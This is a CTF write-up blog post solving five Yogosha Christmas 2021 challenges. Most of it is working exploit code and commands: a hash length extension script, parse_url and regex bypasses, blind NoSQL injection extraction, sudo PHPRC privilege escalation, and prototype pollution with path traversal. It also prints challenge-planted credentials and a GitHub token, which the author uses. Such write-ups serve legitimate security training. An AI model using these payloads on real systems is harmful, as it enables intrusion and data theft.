xanhacks - infosec blog

Yogosha Christmas CTF Writeup

·16 mins

CTFd Profile

Writeup of all challenges of the Yogosha Christmas CTF 2021. I finished 16th out of about 400 registered players.

There was a total of 5 challenges in different categories like web (mostly), osint, crypto and privilege escalation.

1. Welcome Christmas (169 solves) #

OSINT

Description : Konoha village in Naruto is also enjoying Christmas but I heard there is a possible coup d’etat from a clan there :/ ShisuiYogo is a hero trying to save his village and clan. He shared something interesting that can lead you \o/

Hint : I heard that ShisuiYogo is a Body Flicker user ? Does this have a meaning ?

Hint 2 : Each Picture has some interesting Information stored in it; https://about.facebook.com/meta/


Body flicker is a high-speed movement technique in Naruto (hint 1). For this challenge, we can think about the flickr social network.

After some research, I found the flickr profile of ShisuiYogo. He had only one image on his profile. Let’s look at the meta data of this picture :

Envelope Record Version - 4
Coded Character Set - UTF8
Application Record Version - 4
Object Name - Yogosha{Shisui_H4s_G00d_ViSion}
Caption- Abstract - I heard something important is stored in /secret.txt here: http://3.141.159.106 ;
Maybe the akatsuki will help the Uchiha clan ? 
Flag : Yogosha{Shisui_H4s_G00d_ViSion}

2. Uchiha Or Evil ? (53 solves) #

WEB & Crypto

Description : You found some important stuffs! The hockage is proud of you o// Let’s dive in the real stuff now can you really hack the uchiha ?

Hint : Is using hashes that way always secure ? Shisui is not sure about that since the old state of a hash is saved

Hint 2 : Is strpos really strict and always safe ?

Hint 3 : First Part: Read About Hash length Extension Attacks :D Nothing more straight than this!


I now have the following URL, http://3.141.159.106 and my goal is to read /secret.txt.

The home page is a just static HTML file, let’s check out the content of robots.txt :

User-agent: Uchiha
Allow: /read.php

Let’s move to the read.php page.

$ curl http://3.141.159.106/read.php
Access Denied. Only Uchiha clan can access this

$ curl http://3.141.159.106/read.php -A "Uchiha" # Changing User-Agent
<!DOCTYPE html>
<html>
<title>Secret</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway">
...

The read.php contains a form with a single entry pre-filled with 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5|read.php.

This allows us to read the content of read.php :

[...]
<?php
include "secret.php";
if(isset($_POST['string'])){
	$arr=explode("|",$_POST['string']) ;
	$filenames=$arr[1];
	$hash=$arr[0];
	if($hash===hash("sha256", $SECRET.$filenames ) && preg_match("/\//",$filenames)===0 ){
		foreach(explode(":",$filenames) as $filename){
			if(in_array($filename,["read.php","index.php","guinjutsu.php"])) {
				$jutsu=file_get_contents($filename);
				echo "Sharingan: ".$jutsu;
		}
		}
	}
	else{
		echo "Verification Failed! You didn't awaken your sharingan!";
	}

}
?>

We have sha256($SECRET + 'read.php') = 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5. Firstly, I tried to find the secret variable using a bruteforce attack but it did not work.

Then, after some research, I found an attack named length extension attack. This attack requires some pre-requisites such as:

  • A valid hash (In our case : 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5)
  • Control the end of the cleartext to be encrypted (In our case : The $filenames variable)
  • The hash algorithms is based on Merkle–Damgård construction. (In our case : sha256 is working)
  • Length of the $SECRET variable (We do not know it yet)

I use the tool HashPump to generate a new valid hash with a different value for the $filenames variable without knowing the $SECRET.

$ hashpump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
     HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
     -h --help          Display this message.
     -t --test          Run tests to verify each algorithm is operating properly.
     -s --signature     The signature from known message.
     -d --data          The data from the known message.
     -a --additional    The information you would like to add to the known message.
     -k --keylength     The length in bytes of the key being used to sign the original message with.
     Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
     <Developed by bwall(@botnet_hunter)>

Unfortunately, we cannot directly read the /secret.txt file because of this line :

if(in_array($filename,["read.php","index.php","guinjutsu.php"])) {

Example usage of Hashpump :

$ hashpump
# Data from the placeholder
Input Signature: 184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5 # hash
Input Data: read.php # file
Input Key Length: 41 # Length of $SECRET (we do not know it yet, so I use bruteforce to find it)
Input Data to Add: :guinjutsu.php # File we want to read.
fc979b4620daf4a9db3f5fdddfb3300469162e41daa0d60c976c336701bf7117 # New 'hash' to send
read.php\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x88:guinjutsu.php # New 'filenames' to send

To bruteforce the lenght of the $SECRET variable, I use the following python script (a bit ugly but it works well) :

#!/usr/bin/env python3
from subprocess import run


URL = "http://3.141.159.106/read.php"
HASH = "184b5d255817fc0afe9316e67c8f386506a3b28b470c94f47583b76c7c0ec1e5"

for i in range(1, 128):
    print("Testing with", i)

    command = f"/opt/web/HashPump/hashpump -s '{HASH}' -d 'read.php' -k {i} -a ':guinjutsu.php'"
    hashpump = run(command, shell=True, capture_output=True).stdout.decode()
    valid_hash, payload = hashpump[:64], hashpump[65:-1]

    command = f"node -p 'encodeURIComponent(\"{payload}\")'"
    payload_urlenc = run(command, shell=True, capture_output=True).stdout.decode().replace("%C2","").strip()

    command = f"curl -A 'Uchiha' -X POST -d 'string={valid_hash}|{payload_urlenc}' {URL} -o curl.out"
    curl_out = run(command, shell=True, capture_output=True).stdout.decode()

    with open("curl.out", "rb") as out:
        if b"Verification Failed!" not in out.read():
            print("Good !")
            break

Thanks to Hashpump, we have the content of guinjutsu.php :

<?php
// This endpoint is deprecated due to some problems, I heard that other clans have stolen some jutsus
function check($url){
    $par=parse_url($url);
    if ((
    	(strpos($par['scheme'],'http') !==false) and ($par['host']=='uchiha.fuinjutsukeeper.tech'))
    	and ($par['port']==5000)
    	){
        return True;

    }
    else{
        return False;
    }

}
if (isset($_POST['submit'])){
    if ((isset($_POST['api']))and(isset($_POST['endpoint']))){
        $url=$_POST['api'].$_POST['endpoint'];
        if (check($url)){
            $opts = array(
			  'http'=>array(
				'method'=>"GET",
				'follow_location'=>false,
				'header'=>"Accept-language: en\r\n"
			  )
			);
			$context = stream_context_create($opts);
			$file = file_get_contents($url, false, $context);
			echo $file;
        }
    }
}
?>

After a bit of pain, I find a working payload that allows me to bypass the check function and read a file on the system.

$ php -a
php > var_dump(parse_url("http+file://uchiha.fuinjutsukeeper.tech:5000/../../../../../secret.txt"));
array(4) {
  ["scheme"]=>
  string(9) "http+file" # 'http' is in the scheme part
  ["host"]=>
  string(27) "uchiha.fuinjutsukeeper.tech"
  ["port"]=>
  int(5000)
  ["path"]=>
  string(26) "/../../../../../secret.txt"
}
$ curl http://3.141.159.106/guinjutsu.php -d \
    'submit=&api=&endpoint=http%2Bfile://uchiha.fuinjutsukeeper.tech:5000/../../../../../secret.txt'

<br />
<b>Warning</b>:  file_get_contents(): Unable to find the wrapper &quot;http+file&quot;
- did you forget to enable it when you configured PHP? in <b>/var/www/html/guinjutsu.php</b> on line <b>26</b><br />

Yogosha{Master_Of_ArbitraRy_ReAdiNg_JuTsu}
Someone calling himself madara said to Itachi to kill everyone,
I'm not sure about this intel but if it's right no one can beat Itachi except Shisui.
Check this forum they are using http://3.141.109.49
Yogosha{Master_Of_ArbitraRy_ReAdiNg_JuTsu}

3. Js and Uchiha Are Evils (26 solves) #

WEB

Description : Wow you are really about to save the village! Continue further and you will surely win :D

Hint : I heard that there is totally 10000 articles,this number will really help if you focus closely on the used functions :D /jutsu/1 is handy if you haven’t seen it \o/

Hint 2 : This check is done at the first line: if (/^[\b\t\n\v\f\r \xa0]*-/.test(req.params.id)) { Is checking negative jutsus is safely done ?

Hint 3 : I like injections and blind extractions :D 1337 is a nice number though, ypu may need it at last


Let’s check the forum at http://3.141.109.49. You will find articles at http://3.141.109.49/jutsu/<id>. Let’s enumerate a bit :

$ for i in {0..10}; do curl "http://3.141.109.49/jutsu/$i"; done
[...]
<h2> Jutsu is: </h2><br>
<p>
I heard that there is something interesting in jutsu number 1337, it&#39;s the most secret one!!
</p>
[...]
<h2> Jutsu is: </h2><br>
<p>
I&#39;m using the following to avoid access to jutsus higher than 9; is it safe? :
let id = parseInt(request.params.id, 10);
  // baka saijin can&#39;t read the jutsus with id &gt;9
        if (id &gt; 9) {
                return res.render(&#34;jutsu&#34;,{jutsu:&#34;Access Denied sorry&#34;})
        }
        const jutsu = articles.at(id) ?? {
                jutsu: &#39;Not found&#39;
        };
        return res.render(&#34;jutsu&#34;,jutsu);
</p>
[...]
Lorem ipsum
[...]
Lorem ipsum
[...]

Thanks to the hints and the second article, we can guess a function like this in the backend :

app.get("/jutsu/:id",(req,res)=>{
	if (/^[\b\t\n\v\f\r \xa0]*-/.test(req.params.id)) {
		return res.render("jutsu",{"jutsu":"Hacking Attempted"});
	}
	let id = parseInt(req.params.id, 10);

	if (id > 9) {
		return res.render("jutsu",{jutsu:"Access Denied sorry"})
	}
	const jutsu = articles.at(id) ?? {
    		jutsu: 'Not found'
  	};
	return res.render("jutsu",jutsu);
});

Our goal is to read the article n°1337. As they are 10 000 articles and we cannot have an id > 9, our new goal is to read the article n°-8663 (10000-1337).

To bypass the regex, we can use a non-ascii character which correspond to a space at the start of the string (because spaces are handled by parseInt and do not trigger the regex).

$ node
Welcome to Node.js v17.2.0.
Type ".help" for more information.
> /^[\b\t\n\v\f\r \xa0]*-/.test(decodeURI('-8663'))
true

> /^[\b\t\n\v\f\r \xa0]*-/.test(decodeURI('%e3%80%80-8663'))
false

> parseInt(decodeURI('%e3%80%80-8663'), 10);
-8663
$ curl 'http://3.141.109.49/jutsu/%e3%80%80-8663'
<html>
<head>
<title>Jutsu</title>
</head>
<body>
<h2> Jutsu is: </h2><br>
<p>
Wow,Awesome Jutsu! It&#39;s called Dockeru.
I stored the jutsu code there: id=shisuiyogo pass=YogoShisuiIsStrong image=forum
</p>
</body>
</html>

Dockeru makes me think about Docker. Our new goal is to find a docker image named forum.

It seems like shisuiyogo have an account on DockerHub. Let’s try to login with shisuiyogo:YogoShisuiIsStrong. Shisuiyogo had a private docker image named forum ! Let’s pull it on my machine.

$ sudo docker login
Login with your Docker ID to push and pull images from Docker Hub. If you don\'t have a Docker ID, head over to https://hub.docker.com to create one.
Username: shisuiyogo
Password: YogoShisuiIsStrong
$ sudo docker pull shisuiyogo/forum:latest
latest: Pulling from shisuiyogo/forum
...
$ sudo docker run -it --rm shisuiyogo/forum:latest bash
root@fb8b34fb8c53:/data# ls -al
total 108
drwxr-xr-x   1 root root  4096 Dec 25 18:37 .
drwxr-xr-x   1 root root  4096 Jan  3 08:56 ..
-rw-r--r--   1 root root  4956 Dec 25 18:36 index.js
drwxr-xr-x 110 root root  4096 Dec 25 18:37 node_modules
-rw-r--r--   1 root root 76609 Dec 25 18:37 package-lock.json
-rw-r--r--   1 root root   353 Dec 25 16:41 package.json
drwxr-xr-x   6 root root  4096 Dec 25 18:37 static
drwxr-xr-x   2 root root  4096 Dec 25 18:37 views

Thanks to the docker image, we now have the code source of the website.

The function to log in is a bit tricky. It checks if the response of the request is an HTTP 200.

app.post("/login",(req,res)=>{
	var username=req.body.username;
	if(username){
		got.get(`http://3.141.109.49/auth/${encodeURI(username)}/users`).then((resp)=>{
		if (resp.statusCode==200){
			req.session.username=username;
			return res.redirect(302,"/home");
		}
		else{
			return res.render("login",{error:"Your username is wrong"});
		}
		}).catch((err)=>{return res.render("login",{error:"Your username is wrong"});});
	}
	else{
		return res.redirect(302,"/login");
	}

});
...
app.get("/auth/:username/users",(req,res)=>{
	if (req.params.username==process.env.REDACTED){
		return res.send("OK");
	}
	else{
		return res.sendStatus(202);
	}
}

In the docker image, there was no environment variables like process.env.REDACTED or other secrets. So to bypass the login function, our goal is to make the login function to request another page that returns always 200, like the home page.

# http://3.141.109.49/auth/toto/users [202 NON OK]
$ curl -s 'http://3.141.109.49/login' -d 'username=toto' | grep 'Your username'
<p> Your username is wrong </p>

# http://3.141.109.49/auth/..#/users -> http://3.141.109.49/ [200 OK]
$ curl -s 'http://3.141.109.49/login' -d 'username=..#'
Found. Redirecting to /home

We are logged in ! So we can move on to the other functions that require a valid session like this one :

//Insert important infos in the DB
var services=[
{"Service":"web","username":"shisui","password":"Random","IP":"0000"},
{"Service":"web","username":"itachi","password":"Secure","IP":"127.0.0.1"},
{"Service":"ssh","username":process.env.USERNAME,"password":process.env.PASSWORD,"IP":process.env.IP},
{"Service":"net","username":"sasuke","password":"Random","IP":"0000"}
];
client.connect(function (err){
	if (err) return res.render("register",{error:"An unknown error has occured"});
	const db=client.db("uchiha");
	const collection=db.collection("services");
	collection.insertMany(services,function(err, res) {
		if (err) console.log(err);
		console.log("Number of documents inserted: " + res.insertedCount);
  	});

});

[...]

app.post("/services",(req,res)=>{
	if(req.session.username){
		if (req.body.service){
			var query=JSON.parse(`{"Service":"${req.body.service}"}`);
			client.connect(function(err){
				if (err) return res.render("service",{error:"An unknown error has occured"});
			const db=client.db("uchiha");
			const collection=db.collection("services");
			collection.findOne(query,(err,result)=>{
				if (err) return res.render("service",{error:"An unknown error has occured"});
				if (result) {
					return res.render("service",{error:"Service is UP"});
				}
				else{ return res.render("service",{error:"Service is Down"})};
			});
			});
		}
		else{
			return res.render("service",{error:"An unknown error has occured"});

		}
	}

else { return res.redirect(302,"/login");}

});

As you can see, we have a NoSQL Injection here, var query=JSON.parse(`{"Service":"${req.body.service}"}`);. Our new goal is to extract, process.env.USERNAME, PASSWORD and IP from the Mongo database.

As we control the variable req.body.service, we can inject the JSON like this :

$ node
Welcome to Node.js v17.2.0.
Type ".help" for more information.
> JSON.parse(`{"Service":"ssh"}`); // classic usage
{ Service: 'ssh' }

> JSON.parse(`{"Service":"","username": {"$regex":".*"},"Service":"ssh"}`); // malicious usage
{ Service: 'ssh', username: { '$regex': '.*' } }

// payload : ","username": {"$regex":".*"},"Service":"ssh

Let’s find the length of the username using the $regex operator in NoSQL :

$ curl -s http://3.141.109.49/services -b 'connect.sid=s%3AYUHeat2BUi4PCADQZzMQQRmy0FuWgdms.r3f3nKAR01m3usl4oMuL7A9aqFcU3xTx%2FKqhHK1MZso' \
    -d 'service=","username":{"$regex":"^.{10}$"},"Service":"ssh' | grep 'Service is'
<p> Service is Down </p>

$ curl -s http://3.141.109.49/services -b 'connect.sid=s%3AYUHeat2BUi4PCADQZzMQQRmy0FuWgdms.r3f3nKAR01m3usl4oMuL7A9aqFcU3xTx%2FKqhHK1MZso' \
    -d 'service=","username":{"$regex":"^.{8}$"},"Service":"ssh' | grep 'Service is'
<p> Service is Down </p>

$ curl -s http://3.141.109.49/services -b 'connect.sid=s%3AYUHeat2BUi4PCADQZzMQQRmy0FuWgdms.r3f3nKAR01m3usl4oMuL7A9aqFcU3xTx%2FKqhHK1MZso' \
    -d 'service=","username":{"$regex":"^.{9}$"},"Service":"ssh' | grep 'Service is'
<p> Service is UP </p>

The username has a length of 9 characters. I use the following python script to extract the content of the username variable.

#!/usr/bin/env python3
from requests import post
from string import printable

cookies = {
        'connect.sid': 's%3AYUHeat2BUi4PCADQZzMQQRmy0FuWgdms.r3f3nKAR01m3usl4oMuL7A9aqFcU3xTx%2FKqhHK1MZso'
}
username = ""

print("Username : ", end="", flush=True)

for _ in range(9):
    for c in printable:
        data = {
            'service': '","username":{"$regex":"^' + username + c +  '.*$"},"Service":"ssh'
        }

        req = post("http://3.141.109.49/services", data=data, cookies=cookies)
        if "Service is UP" in req.text:
            print(c, end="", flush=True)
            username += c
            break
$ python3 nosqli.py
Username : shisuiedo

We can do the same with the password and IP address. After a nmap scan on the target IP, the port 1337 shows up as an SSH service. Let’s try to log in with our username and password.

$ sshpass -p 'YogoshaxShisui' ssh shisuiedo@52.2.9.67 -p 1337
 _   _      _     _ _           
| | | | ___| |__ (_) |__   __ _ 
| | | |/ __| '_ \| | '_ \ / _` |
| |_| | (__| | | | | | | | (_| |
 \___/ \___|_| |_|_|_| |_|\__,_|
                                
Yogosha{Uchiha_SerVicE_To_Kill_DanzO}
user1@2e38c07ad821:/home/user1$
Yogosha{Uchiha_SerVicE_To_Kill_DanzO}

4. Uchiha As A Service (23 solves) #

Privilege Escalation

Description : Uchihas run services now ? That’s nice! The final challenge will be posted the 27th of December :D the flag you found is fake stay tuned! final part will be published so soon.


I came accross a file named secret.txt which is only readable by root and the user-privileged group. I think it’s time for a privilege escalation.

user1@e8fcb257d4c5:/home/user1$ ls -al
...
-rwxr----- 1 root  user-privileged  137 Dec 28 00:42 secret.txt

We can run /usr/local/bin/php /dev/null as user-privileged using sudo. You can notice that we keep environment variables like HOSTNAME and PHPRC.

user1@e8fcb257d4c5:/home/user1$ sudo -l
Matching Defaults entries for user1 on e8fcb257d4c5:
    mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+="HOSTNAME KAHLA HELL PHPRC HTTP SHELL"

User user1 may run the following commands on e8fcb257d4c5:
    (user-privileged) NOPASSWD: /usr/local/bin/php /dev/null

After some research, I found this blog which explains how to run PHP command with the two environment variables. The goal is to change the default PHP configuration file to be able to execute arbitrary bash command.

user1@e8fcb257d4c5:/home/user1$ sudo -u user-privileged \
    $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`cat /home/user1/secret.txt`); ?>' \
    PHPRC=/proc/self/environ /usr/local/bin/php /dev/null

HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;Flag=Yogosha{Uchiha_As_a_Service_Is_N0t_SecUr3}
Repo=https://github.com/shisuiYogo/killer
Token=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
Yogosha{Uchiha_As_a_Service_Is_N0t_SecUr3}

5. Final Beast (18 solves) #

WEB

Description : You have really made it here! Save Konoha pleasee you c an do it I’m sure!! Put them under your guinjutsu now! Thanks for sticking till the end! We hope you enjoyed the challenges and had fun \o/ Your feedbacks are welcome :D

Hint : Pollution in Konoha is really bad :(


Let’s begin with the last challenge of the CTF, we have a link to a Github repository (https://github.com/shisuiYogo/killer) but this lead us to a 404 not found, maybe the repository is not public.

We also have a token, Token=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, which corresponds to a Github API token. After some research, I found that we can download the contents of a repository as a .tar archive using the Github API.

$ curl -L -H "Authorization: token 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" \
    -H "Accept: application/vnd.github.v3+json" \
    'https://api.github.com/repos/shisuiYogo/killer/tarball/main' \
    -o killer.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 5475k    0 5475k    0     0  3430k      0 --:--:--  0:00:01 --:--:-- 9432k

$ file killer.tar
killer.tar: gzip compressed data, from Unix, original size modulo 2^32 5857280
$ tar xvf killer.tar
...
cd shisuiYogo-killer-47fc716ef0d6b0b72b34b94fc7ec6038fb6002f9
$ ls -l
total 72
drwxr-xr-x 3 xanhacks xanhacks  4096 Dec 27 16:56 docker
-rw-r--r-- 1 xanhacks xanhacks   534 Dec 27 16:56 docker-compose.yml
-rw-r--r-- 1 xanhacks xanhacks    18 Dec 31 14:31 flag.txt
-rw-r--r-- 1 xanhacks xanhacks 57191 Dec 27 16:56 package-lock.json
drwxr-xr-x 5 xanhacks xanhacks  4096 Dec 31 14:30 src

Unfortunately, the file flag.txt does not contains the actual flag. The docker-compose.yml tells us an IP address for production deployment.

$ cat docker-compose.yml
version: "3.8"
services:
  mongo:
    image: mongo
    restart: unless-stopped
    environment:
      MONGO_INITDB_ROOT_USERNAME: REDACTED
      MONGO_INITDB_ROOT_PASSWORD: REDACTED
  node:
    build:
      dockerfile: docker/node/Dockerfile
      context: .
    image: hell
    environment:
      MONGO_URL: mongodb://REDACTED:REDACTED@mongo:27017
      SECRET: REDACTED
    restart: unless-stopped
    ports:
      - "0.0.0.0:80:5555"
    depends_on:
      - mongo
#Deploy it on http://54.157.87.12 please everything is good so far

The real flag seems to be at /flag.txt inside the docker named node.

$ cat docker/node/Dockerfile
FROM node
WORKDIR /data/
COPY ./src/flag.txt /
COPY ./src/index.js .
COPY ./src/static /data/static
COPY ./src/views /data/views
COPY ./src/package.json .
RUN npm install
EXPOSE 8000
CMD node index.js

Let’s take look at the source code of the NodeJS application, we have two interesting functions :

[...]

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

  return obj1;
};

[...]

app.post("/guinjutsu",function(req,res){
        //implement a filter for usernames starting only with uchiha! We are racist in Uchiha clan
        const filter={};
        merge(filter,req.body);
        console.log(req.session.isAdmin,req.session.username);
        if(req.session.isAdmin && req.session.username){
                var filename=req.body.filename;
                if (filename.includes("../")){
                        return res.send("No No Sorry");
                }
                else{
                        filename=querystring.unescape(filename);
                        const data = fs.readFileSync(path.normalize("./"+filename), 'utf8');
                        return res.send(data);
                }
        }
        else{
                res.send("Not Authorized");
        }

});

The merge function makes me think about protoype pollution (the hint of the challenge talk about pollution too). The /guinjutsu route allows us to read the content of a file. Let’s try to read the /flag.txt file.

To bypass the filter against __proto__, we can use __proto__ (with a blank space at the end). Now, let’s create a fake session to bypass the following condition if(req.session.isAdmin && req.session.username){.

To do that, we can use the two following parameters __proto__ [isAdmin]=true&__proto__ [username]=toto to add default properties to all JS objects. Remembers that the request body is send to the merge function which is vulnerable to prototype pollution. Now, that we have a valid session, we just need to specify the filename path.

However, the filename cannot contains ../, to bypass this, we can use a simple trick : double URL encoding.

$ curl http://54.157.87.12/guinjutsu \
    -d "__proto__ [isAdmin]=true&__proto__ [username]=toto&filename=%2E%2E/flag.txt"
No No Sorry
$ curl http://54.157.87.12/guinjutsu \
    -d "__proto__ [isAdmin]=true&__proto__ [username]=toto&filename=%252E%252E/flag.txt"
Yogosha{You_Have_Really_Nailed_IT_And_Saved_Konoha}
Yogosha{You_Have_Really_Nailed_IT_And_Saved_Konoha}

Conclusion #

It was a very good CTF with interesting and varied challenges. Here is a summary of the different skills required to validate the 5 CTF challenges :

1. Welcome Christmas (169 solves)

- OSINT based on social media and exif data.

2. Uchiha Or Evil ? (53 solves)

- Length extension attack in Crypto
- PHP code audit
    - Bypass parse_url filter

3. Js and Uchiha Are Evils (26 solves)

- NodeJS code audit
    - Regex bypass and negative number to parseInt
    - Path Injection
    - NoSQL Injection
- Basic docker knowledge

4. Uchiha As A Service (23 solves)

- Linux privilege escalation using sudo

5. Final Beast (18 solves)

- Clone repository using Github API
- NodeJS code audit
    - Exploitation of prototype pollution with filters